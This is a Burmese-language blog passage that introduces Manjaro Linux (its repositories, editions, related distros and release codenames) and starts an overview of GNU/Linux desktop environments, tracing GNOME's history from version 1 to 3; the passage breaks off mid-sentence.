<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-f80d41f9e79d2bcfa3541fd71ff6bc851b950c01%2F411a12cfe3d9bb9b3b5dbea49e1c499d.png?alt=media" alt=""><figcaption></figcaption></figure>


# Manjaro Linux အကြောင်းတစေ့တစောင်း

Linux distro တွေအကြောင်း မရေးဖြစ်တာနည်းနည်းတောင်ကြာသွားပါပြီ။ နောက်ပိုင်းမှာ အခြားအကြောင်းလေးတွေရေးဖြစ်တာနဲ့ Linux distro တွေဘက်ကိုပြန် မရောက်ဖြစ်တော့တာလည်းပါတယ်။ ဒီတစ်ခေါက်ကတော့ အခုနောက်ပိုင်း နာမည်ရလာတဲ့ Manjaro ဆိုတဲ့ distro အကြောင်း ပြောပြပါ့မယ်။ ပြီးတော့ အရှေ့မှာလည်း Arch distro အကြောင်းပြောရင်းနဲ့ လည်းအနည်းငယ် မိတ်ဆက်ထားပေးထားဘူးပါတယ်။ Manjaro Linux ကတော့ Arch ကို အခြေခံပြီးတော့ ရေးထားတဲ့ distro တစ်ခုပါ။ ဒီ Manjaro Linux project ကိုတော့ Roland Singer ဆိုတဲ့ သူက ဇူလိုင်လ ၁၀ရက်နေ့ ၂၀၁၁ ခုနှစ်မှာ စတင်ခဲ့ပါတယ်။ ပြီးတော့ ဒီ project ကို Austria, France နဲ့ Germany နိုင်ငံတို့က developer ပေါင်းများစွာတို့က ပါဝင်ပြီးတော့ အားစိုက်ထားတဲ့ project လည်းဖြစ်ပါတယ်။ Europe ကစတင်ခဲ့ distro ဖြစ်လို့ European နိုင်ငံတော်တော်များများ လူသိများပြီးသား distro လည်း ဖြစ်ပါတယ်။ နောက်ပိုင်းတော့ US မှာလည်း လူသုံးများလာကြပါတယ်။ Manjaro ဆိုတာကတော့ Tanzania မှာရှိတဲ့ မီးသေတောင်တစ်လုံးဖြစ်တဲ့ Mount Kilimanjaro ကို အညွန်းပြုထားတာဖြစ်ပါတယ်။ အဲ့ဒီတောင်ဟာ Africa မှာ အမြင့်ဆုံးတောင်လို့ လည်း သိရပါတယ်။

<figure><img src="https://i.imgur.com/vAlDwQP.jpeg" alt=""><figcaption><p>Mount Kilimanjaro</p></figcaption></figure>

Manjaro Linux က Arch ကို အခြေခံထားသော်လည်း GUI ကောင်းကောင်းလှလှနဲ့ အသုံးပြုသူအဆင်ပြေအောင် လုပ်ထားတဲ့ distro တစ်ခုပါ။ Project ရည်ရွယ်ချက်ကတော့ မြန်ဆန်ပေါ့ပါးပြီးတော့၊ အသုံးတည့်မယ့် lightweight distro တစ်ခုဖြစ်ဖို့ပါ။ Arch လိုပဲ cutting edge နည်းပညာတွေကိုသာ ထည့်သွင်းပေးပြီး စတင်အသုံးပြုသူ တွေအတွက်တော့ နည်းနည်းလေး ကသီနိုင်မယ့် distro အမျိုးအစား လည်းဖြစ်ပါတယ်။ ဒီနေရာမှာ cutting edge ဆိုတာရယ်… bleeding edge ဆိုတာရယ်ကို ရှင်းပြချင်ပါတယ်။ cutting edge ဆိုတာကတော့ နောက်ဆုံးပေါ် နည်းပညာပိုင်းတွေကိုသုံးထားတဲ့ feature တွေပါလို့ အရှေ့လို့ ရောက်လွန်းလို့ ဘယ်သူမှ မသုံးသေးခင်ကို ထည့်ပေးလိုက်တဲ့ နည်းပညာတွေလို့ပြောလိုခြင်း ဖြစ်ပါတယ်။ များသောအားဖြင့်တော့ နောက်ဆုံးပေါ်လို့ ပြောလိုက်ရင် ပိုကောင်းတယ် ပိုပြည့်စုံတယ်လို့ အဓိပ္ပာယ်ထွက်ပါတယ်။ Linux ကမ္ဘာမှာတော့ နည်းနည်းလေးထပ်ရှင်းဖို့လိုပါတယ်။ နောက်ဆုံးပေါ်တိုင်းလည်း Linux ကမ္ဘာမှာတော့ ပိုကောင်းပိုပြည့်စုံတယ်လို့ ဆိုလို့မရပါဘူး။ ဘာဖြစ်လို့လည်းဆိုတော့ Linux မှာက rolling release လို့ခေါ်တဲ့ update တွေ upgrade တွေက တောက်လျှောက်ဆိုသလို ရှိနေပါတယ်။ Kernel တစ်ခုတစ်ခု ထွက်လာရင်လိုက်ပြီးတော့ developer တွေဘက်က လုပ်ရတဲ့ ပြင်ရတဲ့ဟာတွေများလွန်းလှပါတယ်။ Distro တဲ့ အဓိက အရေးပါတဲ့ Kernel ကိုလည်း Linus Torvalds အခုချိန်ထိ ပဲ့ကိုင်ရှင် လုပ်ပြီးတော့ ပိုကောင်းသတဲ့ ကောင်းအောင် ပြင်ဆင်ရေးသားဆဲဖြစ်ပါတယ်။ အဲ့လို rolling release စနစ်ကြောင့် တခါတလေမှာ feature အသစ်တွေမှာ ချို့ယွင်းချက်လေးတွေရှိ နေတတ်ပါတယ်။

<figure><img src="https://i.imgur.com/WxnfvP2.png" alt=""><figcaption><p>Manjaro Xfce</p></figcaption></figure>

Manjaro Linux ကတော့ Arch ကိုအခြေခံထားပေးမယ့်လည်း Arch ရဲ့ repository တွေကို အသုံးမပြုထားပဲ သူ့ကိုယ်ပိုင် repository သီးသန့်ကို ထားပြီးတော့ သုံးပါတယ်။ Arch ရဲ့ repository တွေနဲ့တော့ compatible ဖြစ်တယ်လို့ဆိုပါတယ်။ Manjaro မှာ repository (repo လို့လည်းအတိုကောက်ခေါ်ပါတယ်။) သုံးမျိုးရှိပါတယ်။ အဲ့ဒါတွေကတော့ Stable, Testing နဲ့ Unstable တွေပဲဖြစ်ပါတယ်။ ရှင်းပါတယ် stable repo ကတော့ စမ်းသပ်ပြီး အသုံးပြုလို့ အဆင်ပြေပြီ ပြဿနာ သိပ်မရှိတော့ဘူးလို့ developer တွေက သေချာစီစစ်ပြီးတော့မှ ထုတ်လိုက်တဲ့ package update နဲ့ upgrade တွေပါ။ Manjaro ကိုအခုမှ စပြီးတော့ အသုံးပြုသူတွေ အနေနဲ့တော့ အဲ့ဒီလို repo အမျိုးအစားကိုသာ သုံးသင့်ပါတယ်။ နောက်တစ်ခုကတော့ testing repo ဖြစ်ပါတယ်။ Testing repo ကတော့ stable အဆင့်မရောက်ခင် စမ်းသပ်ကာလမှာ အမြည်းသဘောမျိုး သုံးလို့ရအောင်လုပ်ထားတဲ့ repo အမျိုးအစားပဲဖြစ်ပါတယ်။ အဲ့ဒီ repo ကတော့ Unstable repo ကနေပြီးတော့ တစ်ပတ်ကိုတစ်ခါ စမ်းသပ်လို့ ရပြီဆိုတဲ့ package တွေကို ဆွဲယူပြီးတော့ ထည့်ထားပါတယ်။ ကိုယ်တိုင်က Linux မှာ အတွေ့အကြုံ အတော်အတင့် ရှိပြီးတော့ စမ်းသပ်ကြည့်ချင်ရင်တော့ testing repo ကို ထည့်ပြီးတော့ အသုံးပြုလို့ရပါတယ်။ မတော်လို့ သုံးရင်းနဲ့ ကလီတာလွန်သွားလို့ ပြဿနာတစ်ခုခုတက်ရင်တော့ ကိုယ်တိုင် ဖြေရှင်းရရင်တော့ နည်းနည်းလေး ခေါင်းစားရပါလိမ့်မယ်။ နောက်ဆုံးတစ်ခုကတော့ Unstable repo ပါ။ ဒီ repo မှာတော့ Arch က bleeding edge ဆိုတဲ့ package တွေကို Arch User Repository (AUR) ကနေ တစ်ရက် နှစ်ရက်အတွင်းမှာ ကူးယူပြီးတော့ Manjaro နဲ့ အဆင်ပြေနိုင်ပါ့မလား ဆိုတာမျိုးကို စီစစ်ဖို့ကို ထားတဲ့ repo အမျိုးအစားပဲဖြစ်ပါတယ်။ Bleeding edge ဆိုတဲ့ အတိုင်း ဒီ repo ကို သုံးမယ်ဆိုရင်တော့ နောက်ဆုံးပေါ်လွန်းလို့ အခပ်မသင့်ရင် ကိုယ်သုံးရင်းနဲ့ ပြဿနာတက် သွားနိုင်လွန်းလို့ bleeding edge လို့ခေါ်တာဖြစ်ပါ တယ်တဲ့ဗျာ။ ကိုယ်တိုင်က OS developer ဆိုရင်တော့ အဲ့ဒီလို repo ကိုသုံးပြီးတော့ လိုတာတွေကို ပြင်နိုင်ဆင်နိုင်ပါတယ်။ ပုံမှန်အသုံးပြုသူ တစ်ယောက် အနေနဲ့တော့ လုံးဝ အသုံးမပြုသင့်ပါဘူး။

တခြား Linux distro တွေလိုပဲ Manjaro မှာလည်း ကိုယ်ကြိုက်တဲ့ Desktop Environment (DE) အမျိုးအစားကို ကိုယ်ကြိုက်သလို ဆွဲယူသုံးလို့ ရပါတယ်။ Manjaro ရဲ့ Official website မှာ လက်ရှိဒီစာရေးနေတဲ့ အချိန်မှာတော့ Manjaro XFCE Edition (17.0), Manjaro KDE Edition (17.0) နဲ့ Manjaro GNOME Edition (17.0) တွေကို download ဆွဲလို့ရပါတယ်။ Community Edition ဆိုပြီးတော့လည်း Cinnamon, LXQt, Budgie, Deepin နဲ့ i3 တို့လို DE တွေနဲ့လာတာလည်းရှိပါတယ်။

## Manjaro ရဲ့အားသာချက်များ

Manjaro ကတော့ GUI နဲ့ လာတာဖြစ်တဲ့အတွက် installation နဲ့ configuration လုပ်ရတာ Arch လောက်မခက်ပါဘူး။ Ubuntu တို့ Fedora တို့လို GUI ကနေ အဆင့်ဆင့် ရွေးပြီးတော့ install လုပ်လိုက်ရုံပါပဲ။ Arch မှာတော့ သိပြီးတဲ့ အတိုင်း လိုအပ်တဲ့ package တွေကိုသာ install လုပ် configuration လုပ်ရပါတယ်။ Arch installation အစအဆုံးကတော့ CLI ထဲပဲလုပ်ရတာမို့ Arch Wiki ကိုသာ သေချာလိုက်ဖတ်ပြီးတော့ install လုပ်ရသာမို့ နည်းနည်းလေးတော့ လက်ဝင်တယ်လို့ စာရေးသူထင်ပါတယ်။ Customization ကိုကိုယ်တိုင် installation လုပ်ကတည်း စလုပ်လို့ရပါပြီ။ Manjaro ကတော့ Arch ကို အခြေခံထားပေမယ့် GUI ကနေ install လုပ်ရတာမို့ စတင်အသုံးပြုသူတွေ အတွက်ပါ အခက်အခဲရှိမှာ မဟုတ်ပါဘူး။ Xfce ကပုံမှန်အားဖြင့် ရိုးရိုးရှင်းရှင်းနဲ့ ပေါ့အောင်လုပ်လေ့ရှိတဲ့ DE တစ်ခုပါ။ ထူးခြားချက်ကတော့ Manjaro မှာသုံးတဲ့ Xfce တော်တော်လည်းပေါ့ပြီးတော့ လှလည်းလှ သန့်လည်းသန့်ရှင်းအောင် စီစဉ်ထားတဲ့ desktop မျိုးပါ။ နောက်ပြီးတော့ Pacman package manager ကိုသုံးထားတဲ့အတွက် လည်းတော်တော်လေးကို အဆင်ပြေတယ်လို့ပြောရမှာပါ။ အရင်ကတည်း Pacman ကနာမည်ရပြီးသား package manager တစ်ခုလည်းဖြစ်ပါတယ်။ Arch ကနေတဆင့် လာတဲ့ distro ဖြစ်တဲ့အတွက် ဟို အစပိုင်းကတော့ အရမ်းကြီး အဆင်ပြေတဲ့ distro တစ်ခုမဟုတ်ခဲ့သလို လူလည်း သိပ်ပြီးတော့ မသိခဲ့ပါဘူး။ နောက်ပိုင်းတော့ တော်တော်ကြီးကို အဆင်ပြေလာတဲ့ အလျှောက် Manjaro ကိုစတင်ပြောင်းပြီးတော့ အသုံးပြုတဲ့သူ တွေတော်တော်များလာပါပြီ။ သို့သော်လည်း Ubuntu တို့ Mint တို့လိုတော့ လိုရာကို အလွယ်တကူလုပ်ဖို့ကတော့ စတင်အသုံးပြုသူ တွေအနေနဲ့ ခေါင်းတော့ နည်းနည်းစားပါတယ်။ အရင်ထက်တော့ အများကြီး အဆင်ပြေလာပါပြီ။

## Manjaro နဲ့ ဆင်တူ distro များ

Manjaro Linux နဲ့ အနီးစပ်ဆုံး distro ကတော့ Antergos ဆိုတဲ့ distro တစ်ခုဖြစ်ပါတယ်။ Antergos ကလည်း Arch ကို အခြေခံထားတာဖြစ်ပါတယ်။ သူ့ကိုတော့ မေလ ၇ရက်နေ့ ၂၀၁၂ ခုနှစ်မှာစတင် ခဲ့တာဖြစ်ပါတယ်။ သူကတော့ Manjaro ကနေ တဆင့်ထပ်ပြီးတော့ ခွဲထွက်လာတဲ့ distro တစ်ခုဖြစ်တဲ့ အပြင် Manjaro နဲ့လည်း တော်တော်လေးကို ဆင်တူတယ်လို့ပြောရမှာဖြစ်ပါတယ်။

<figure><img src="https://i.imgur.com/eJgILET.png" alt=""><figcaption><p>Antergos</p></figcaption></figure>

နောက်တစ်ခုကတော့ Apricity OS လို့ခေါ်ပါတယ်။ အဲ့ဒီ distro အစောပိုင်းမှာ OpenSUSE ကို အခြေခံပြီးတော့ ရေးမယ်လို့ စိတ်ကူးထားသော်လည်း နောက်ပိုင်းမှာ Arch ကိုပဲရွေးချယ်လိုက်ကျပါတယ်။ Apricity OS ကလည်းတော်တော်လေးကို လှပြီးတော့ ပေါ့ပါးတဲ့အပြင် cloud computing အတွက်လည်း အဆင်သင့်ပြင်ပေးထားတဲ့ distro ဖြစ်ပါတယ်။

<figure><img src="https://i.imgur.com/JKxNJE5.jpeg" alt=""><figcaption><p>Apricity OS Gnome</p></figcaption></figure>

## လက်ရှိ Manjaro release version နဲ့ codename

စာရေးသူ ဒီစာရေးနေချိန်မှာတော့ လက်ရှိ version က 17.0 ဖြစ်ပြီးတော့ မတ်လပိုင်း ၇ရက်နေ့ ၂၀၁၇ခုနှစ်မှာမှထွက်ထားတဲ့ version လည်းဖြစ်ပါတယ်။ Kernel 4.9 LTS ကိုလည်း အသုံးပြုထားပါတယ်။ Version 17.0 ရဲ့ codename ကတော့ Gellivara လို့ခေါ်ပါတယ်။ Manjaro ရဲ့ ထူးခြားချက်ကတော့ သူ့ codename တွေကို အာကာသထဲက ကြယ်စုနာမည်တွေ ဂြိုလ်နာမည်တွေ ကိုပေးလေ့ရှိပါတယ်။ Rolling release ဆိုတဲ့အတိုင်း တောက်လျှောက် ထုတ်လာခဲ့ပြီးတော့ distro ကို LTS အနေနဲ့တော့ မထွက်ပါဘူး။ Version 0.8.0 ကနေပြီးတော့ 0.8.13 အထိကို codename Askella ဆိုတဲ့ ကြယ်နာမည်ကို သုံးပါတယ်။ အဲ့ဒီနောက်မှ version 15.09 ကို codename Bellatrix ဆိုတဲ့ ကြယ်နာမည်ကို ယူသုံးပါတယ်။ version 15.12 ကိုရောက်ပြန်တော့ Capella ၊ 16.06 နဲ့ 16.06.1 ကို Daniella ၊ 16.08 ကို Ellada နဲ့ 16.10 ကိုတော့ Fringilla လို့ခေါ်ပြန်ပါတယ်။

နောက်ဆုံးပြောလိုတာကတော့ Debian variants တွေဖြစ်တဲ့ Ubuntu တို့ Mint တို့ Lubuntu တို့ သို့မဟုတ် Red Hat variants တွေဖြစ်တဲ့ Fedora တို့ CentOS တို့လို mainstream ဖြစ်တဲ့ distro တွေကိုရိုးအီလာလို့ ထူးထူးခြားခြား မတူတာကိုမှ သုံးချင်ရင်တော့ Manjaro လို လှလည်းလှ သန့်လည်းသန့်တဲ့ distro ကိုပြောင်းပြီးတော့ အသုံးပြုသင့်ပါတယ်။ Linux အသုံးပြုတာကြာလာတာနဲ့ အမျှ distro တစ်ခုထဲမှာတင် သောင်မတင်သင့်ပါဘူး။ Linux ရဲ့ အဓိက ရည်ရွယ်ချက်ကလည်း Freedom ဆိုတာဖြစ်တဲ့အတွက် လွတ်လပ်စွာ စမ်းသပ်အသုံးပြုရင်းနဲ့ Manjaro ကို စာဖတ်သူတို့ စိတ်ဝင်စား ကြိုက်နှစ်သက် မယ်လို့လည်း စာရေးသူ ထင်ပါတယ်။

စာကြွင်း။ ။ အခုနောက်ဆုံးထွက်ထားတဲ့ version ကတော့ 17.1 ဖြစ်ပြီး codename ကတော့ Hakoila လို့ခေါ်ပါတယ်။ လက်ရှိမှာတော့ DistroWatch.com က download အဆွဲဆုံး distro တစ်ခု အနေနဲ့ ရပ်တည်နေပါတယ်။


# GNU/Linux Desktop Environment များအကြောင်း အပိုင်း (၁)

GNU/Linux မှာ အယူမှားတာလေး တစ်ခုရှိပါတယ်။ အဲ့ဒါကတော့ Ubuntu နဲ့ default အတိုင်း ပါလာတဲ့ icons တွေ desktop ပုံစံလေးတွေကို မကြိုက်လို့ ဆိုပြီး Fedora ပြောင်းသုံးတယ် Manjaro ေပြာင်းသုံးတယ် ဆိုတာပါပဲ။ ဆိုလိုရင်းကတော့ GNU/Linux မှာ Microsoft Windows မှာလိုမျိုး desktop ပုံစံ တစ်မျိုးတည်းနဲ့ လာတာမဟုတ်ပါဘူး။ ဥပမာ Windows XP မှာဆို နဂိုအတိုင်းပါလာတဲ့ Luna ဆိုတဲ့ default desktop တစ်ခုပဲရှိပါတယ်။ အဲ့ဒါကိုမှ မကြိုက်လို့ရှိရင် Theme ေတွထည့်ပြီးတော့ သုံးလို့တော့ရပါတယ်။ သို့သော် Theme ဆိုတာက desktop environment တစ်ခုကို အဝတ်တစ်ထည်နဲ့ အုပ်လိုက်သလိုမျိုးသာ ဖြစ်ပြီးတော့ အောက်က ကိုယ်ထည်ကတော့ ဘာမှ မပြောင်းလဲတဲ့ သဘောမျိုးသာဖြစ်ပါတယ်။ အဲ့… GNU/Linux မှာတော့ Free and Open Source community က ဝါသနာရှင် နည်းပညာသမားများက ကိုယ်လိုချင်တဲ့ desktop environment တွေကို အစကနေပြီးတော့ ရေးကြပါတယ်။ ပြောရတာလွယ် သလောက် desktop environment ကို အစကနေရေးရတယ် ဆိုတာ လက်တွေမှာတော့ အဲ့ဒီလောက်တော့လည်း မလွယ်ကူလှပါဘူး။ desktop environment တစ်ခုနဲ့ အလုပ်လုပ်တဲ့ components ကိုပါထည့်ပြီးတော့ design လုပ်ရတာဖြစ်တဲ့ အတွက် ဟန်ချက်ညီညီ နဲ့ ဖြစ်ဖို့ဆိုတာ အများကြီးကို အားစိုက်ထုတ်ရတဲ့ အလုပ်တစ်ခုပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8c555c1f98414b74b3773dd7feb709cd0851d426%2FWindows_XP_Luna.png?alt=media" alt=""><figcaption></figcaption></figure>

ဟုတ်ပြီ desktop environment တစ်ခုဖြစ်လာဖို့ဆိုတာ လွယ်တော့ မလွယ်ဘူး ဆိုတာသိပြီ။ ဒါနဲ့ desktop environment ဆိုတာဘာလဲ၊ ဘာလို့ OS တစ်ခုမှာ DE ကမရှိမဖြစ်လိုအပ်တာလဲ၊ DE တစ်ခုမှာ ဘာတွေပါလဲ ဆိုတဲ့ မေးခွန်းတွေကို ရှင်းသွားအောင်လို့ ဒီနေရာမှာ နည်းနည်းလေး ဆွေးနွေးကြည့်ရအောင်ဗျာ။ Desktop Environment ဆိုတဲ့ နေရာမှာလည်း computer တွေကို command ပေးဖို့ကို shell လို့ ခေါ်တဲ့ user interface တွေလိုအပ်ပါတယ်။ CLI ကတော့ရှင်းပါတယ်။ command တွေကို screen မဲမဲကြီးပေါ်မှာရိုက်ထည့်မယ်။ GUI မှာတော့ အစောပိုင်းကပြောသွားတဲ့ icons တွေ၊ window တွေကို ဘယ်လိုမျိုး graphical shell မှာထည့်သုံးမလဲဆိုတာမျိုးတွေကို ထည့်သွင်း စဥ်းစားရပါတော့တယ်။ OS တစ်ခု boot တက်လာတဲ့ screen၊ login screen ပုံစံ၊ OS ထဲမှာပါတဲ့ window နဲ့ icons တွေ ပုံစံ အပြင် OS ရဲ့ desktop နဲ့ တွဲပြီးတော့ သုံးလို့ရတဲ့ program တွေ application တွေကို စုစည်းပေးထားတာကိုတော့ desktop environment လို့ ခေါ်ပါတယ်။ ဆိုပါတော့ Ubutun 16.10 Unity 7 မှာ Ubuntu Software Center ကို သုံးထားသော်လည်း Ubuntu 17.04 မှာ GNOME ကို Official Desktop အနေနဲ့ သုံးထားတာကြောင့် GNOME ရဲ့ Software ဆိုတဲ့ software တွေကို install လုပ်တဲ့ program ကိုသုံးထားပါတယ်။ အကြမ်းအားဖြင့် တော့ Desktop Environment ဆိုတာ OS တစ်ခုရဲ့ GUI မှာ လိုအပ်တဲ့ program တွေ application တွေကို စုစည်းပေးထားပြီးတော့ တမူထူးခြားတဲ့ ကိုယ်ပိုင်ဟန် graphic တွေကို သုံးထားတဲ့ software bundle တစ်ခုအနေနဲ့ မြင်ကြည့်လို့ရမယ်ထင်ပါတယ်။

Open Source ဖြစ်တဲ့ Unix-like operating system တွေမှာ desktop environment ပေါင်းများစွာရှိပါတယ်။ ပုံမှန်အားဖြင့် ကိုယ်သုံးတဲ့ distribution ေပါ်မှာ မူတည်ပြီးတော့ Official လာတဲ့ Desktop Environment (DE) တွေရှိပါတယ်။ ဥပမာအားဖြင့် Ubuntu မှာဆိုရင် 16.10 အထိကို Official DE က Unity ဖြစ်ပါတယ်။ Ubuntu 16.10 မှာတော့ Unity 7 ေတာင်ဖြစ်နေပါပြီ။ တကယ်လို့ ကိုယ့်အနေနဲ့ Unity ကိုမကြိုက်ဘူး ဆိုကြပါစို့ Ubuntu ကိုတော့ သုံးရတာလွယ်လို့ သုံးချင်သေးတယ်ဆိုရင် ဖြင့် မတူတဲ့ flavour တွေနဲ့လည်း လာပါတယ်။ Ubuntu မှာတော့ KDE ကို သုံးထားတဲ့ Kubuntu၊ ပေါ့ပါးလှတဲ့ LXDE ကိုသုံးထားတဲ့ Lubuntu၊ MythTV မှာသုံးလို့ရအောင်ထုတ်ထားတဲ့ Mythbuntu၊ နောက်ပိုင်းမှာ နာမည်ရလာတဲ့ Budgie DE ကို အသုံးပြုထားတဲ့ Ubuntu Budgie၊ လူကြိုက်များပြီး နောက်ဆုံး Ubuntu 17.04 မှာ official DE အဖြစ်သုံးထားတဲ့ GNOME နဲ့ Ubuntu ကို Ubuntu GNOME ဆိုပြီးတော့ ခေါ်ခဲ့ကြပါတယ်။ နောက်ပြီးတော့ Ubuntu Kylin၊ Ubuntu MATE၊ Ubuntu Studio နဲ့ Xubuntu ဆိုပြီးတော့ လည်း ရှိကြပါသေးတယ်။ Ubuntu တစ်ခုတည်းမှာရှိတဲ့ DE ကို ပြောပြတာပဲရှိပါသေးတယ်။ ဒီထက်မကတဲ့ DE ေပါင်းများစွာလည်း ကျန်ပါသေးတယ်။ ပြောမယ်ဆိုရင်တော့ အများကြီး ကျန်ပါသေးတယ်။

GNU/Linux သုံးမယ်ဆိုရင်တော့ ကိုယ် ဘယ်လိုမျိုး DE flavour ကို ကြိုက်ပြီးတော့ ဘယ်လိုမျိုး distribution ကို ကြိုက်တယ်ဆိုတာကိုတော့ ခွဲခြားပြီးတော့ သိထားဖို့လိုပါလိမ့်မယ်။ အဲ့ဒီ အတွက် ကြောင့် ဒီတစ်ခါတော့ လူသုံးများတဲ့ GNU/Linux မှာရနိုင် တဲ့ desktop environment (DE) အကြောင်းလေးတွေကို မိတ်ဆက်ပေးချင်ပါတယ်။ ပထမဆုံး အနေနဲ့ GNOME ဆိုတဲ့ Desktop အကြောင်းလေးနဲ့ စလိုက်ချင်ပါတယ်။

## GNOME

GNOME desktop environment ကတော့ Free and Open Source community မှာရှိနေခဲ့တာ တော်တော်လေးတောင် ကြာသွားပါပြီ။ GNOME 1 ကိုတော့ မတ်လ ၃ ရက်နေ့ ၁၉၉၉ ခုနှစ်မှာ စပြီးတော့ မိတ်ဆက်ပေးခဲ့ပါတယ်။ အစပိုင်းမှာတော့ GNOME ဟာ GNU Network Object Model Environment ကို အတိုကောက် ရည်ညွန်းခဲ့ကြသော်လည်း နောက်ပိုင်းမှာတော့ GNOME project ရဲ့ အဓိက ရည်ရွယ်ချက်နဲ့ မကိုက်ညီတာကြောင့် GNOME လို့ပဲမှတ်လိုက်ကြ ရပါတယ်။ GNOME ကို The GNOME Project ရဲ့ အောက်မှာ free and open source community မှာရှိတဲ့ နိုင်ငံတကာက ဝါသနာရှင်များနဲ့ ပညာရှင်ပေါင်း မြောက်များစွာပါဝင်ရေးသားပေးထားပြီး Red Hat ကလည်း အဓိက contributor အနေနဲ့ အားဖြည့်ပေးထားတဲ့အတွက် တော်တော်ကောင်းမွန်တဲ့ DE တစ်ခုဖြစ်တယ်လို့ ဆိုရမှာဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-22a35f395dac278b71d662671b401935124add6a%2FGnomelogo.png?alt=media" alt=""><figcaption></figcaption></figure>

GNOME ကို အစကနဦးပိုင်းမှာတော့ Miguel de Icaza နဲ့ Federico Mena ဆိုတဲ့ ပုဂ္ဂိုလ် နှစ်ဦးက ဩဂုတ်လ ၁၅ရက်နေ့ ၁၉၉၇ခုနှစ် လောက်မှာ စတင်ခဲ့ကြပါတယ်။ အဲ့ဒီတုန်းကတော့ Richard Stallman ဦးဆောင်တဲ့ free software လှုပ်ရှားမှုအောက်မှာ စတင်လိုက်တဲ့ free software project တစ်ခုအနေနဲ့ စခဲ့ကြပါတယ်။ အဲ့ဒီ အချိန်က KDE မှာ proprietary software တွေနဲ့ တည်ဆောက်ထားတာကြောင့် အရှုပ်အရှင်းနည်းနည်းရှိပုံရပါတယ်။ အဲ့ဒါကြောင့်လည်း GNOME ကို free and open source အောက်မှာရှိတဲ့ GTK+ toolkit ကိုအသုံးပြုပြီးတော့ တည်ဆောက်ခဲ့ကြပါတယ်။ License အရှုပ်အရှင်း တွေကင်းနိုင် သမျှကင်း အောင်လို့ သိပ်ပြီးတော့ မတင်းကျပ်တဲ့ GNU Lesser General Public License (LGPL) အောက်မှာ မှတ်ပုံတင်ထားခဲ့ပါတယ်။ ၂၀၀၁ ခုနှစ် လောက်မှာ တော့ the GNOME Project ဟာ တော်တော်လေး ကို ပြည့်စုံလာတဲ့ DE တစ်ခုဖြစ်လာပြီးတော့ GNOME office suite ကိုပါထည့်သွင်းပေးလာနိုင်ခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-13824967e637390201592eda8499d112b6febbf8%2FGNOME-1.png?alt=media" alt=""><figcaption></figcaption></figure>

GNOME 2 ကိုတော့ ဇွန်လ ၂၀၀၂ခုနှစ်လောက်မှာ စတင်မိတ်ဆက်ပေးပါတယ်။ အမြင်အားဖြင့် GNOME 1 ထက်ပိုပြီးတော့ သိသိသာသာ ထူးခြားလာပြီးတော့ လူကြိုက်လည်း တော်တော်များခဲ့ပါတယ်။ ရိုးရှင်းပြီးတော့ တခြား desktop environment တွေနဲ့ မတူပဲ ပုံစံကွဲထွက်လာတဲ့ GNOME 2 မှာတော့ Metacity ဆိုတဲ့ window manager ကို အသုံးပြုထားပါတယ်။ Desktop environment မှာလည်း ကိုယ် ကြိုက်သလို customise လုပ်ဖို့ tweak လုပ်ဖို့ tool တွေကိုလည်း အများကြီးထည့်ပေးထားပါတယ်။ GNU/Linux user တော်တော်များများဟာ GNOME 2 ကို နှစ်သက်ရုံသာမက သံယောဇဥ် ဖြစ်ခဲ့ပုံရပါတယ်။ ဘာဖြစ်လို့လဲဆိုတော့ ဧပြီလ ၂၀၁၁ ခုနှစ်လောက်မှာ GNOME 3 ထွက်လာပါတယ်။ GNOME 2 ကိုသုံးတဲ့ user တော်တော်များများဟာ GNOME 3 GUI နဲ့ DE ကို စမ်းသပ်တဲ့အခါမှာတော့ တော်တော်လေးကို စိတ်ပျက်လက်ပျက်ဖြစ်ခဲ့ကြပါတယ်။ GNOME 3 က လုံးဝကို ခွဲထွက်လာတဲ့ DE ပုံစံမျိုးဖြစ်နေပြီးတော့ အစပိုင်း အသုံးပြုသူတွေအတွက်တော့ အသားမကျနိုင်တာလည်း ဖြစ်နိုင်ပါတယ်။ မည်သို့ပင်ဖြစ်စေ အဲ့ဒီတုန်းက GNOME 3 ကို မကြိုက်လို့ GNOME 2 နဲ့ အသွင်တူတဲ့ DE တွေကို ရေးဖို့ အကြောင်းဖန်လာပါတော့တယ်။ ဥပမာအားဖြင့် MATE တို့ Cinnamon တို့ လို Desktop Environment တွေဟာ GNOME 2 နဲ့ အတူနိုင်ဆုံးဖြစ်အောင် ရေးထားတဲ့ DE တွေပါ။ Cinnamon ကတော့ Mint Linux ရဲ့ Official DE လည်းဖြစ်ပါတယ်။ လူသုံးများတဲ့ DE ထဲမှာလည်းပါဝင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-875ace35abb012908a77f268882736c871b608b6%2FGNOME-2.jpg?alt=media" alt=""><figcaption></figcaption></figure>

GNOME 3 မှာတော့ user friendly ဖြစ်ရုံသာမက အလုပ်ဖြစ်တဲ့ feature တွေ function တွေပါဝင်တာကြောင့် နာမည်ရပြီးသား GNU/Linux distro တွေဖြစ်တဲ့ Fedora နဲ့ အခုနောက်ဆုံး Ubuntu မှာပါ Official DE အနေနဲ့ GNOME 3 ကို သုံးထားပါတယ်။ ဒါ့အပြင် GNOME 3 ဟာ ခေတ်မှီတဲ့ Apple ရဲ့ Aqua လိုမျိုး DE ထက်တောင် အရှေ့ တော်တော်ရောက်နေတဲ့ DE လည်းဖြစ်ပါတယ်။ လက်ရှိ ဒီစာကို ရေးနေတဲ့ အချိန်မှာတော့ Ubuntu ဟာ GNOME project ကို contribute အများကြီးလုပ်သွားမယ်ဆိုတဲ့ သတင်းကိုလည်း စာရေးသူ ကြားသိရပါတယ်။ Unity 7 ကိုတော့ community ထဲမှာ ဆက်လက် maintain လုပ်သွားမယ်လို့လည်းသိရပါတယ်။ စာရေးသူ တကိုယ်ရေ အမြင်ကတော့ 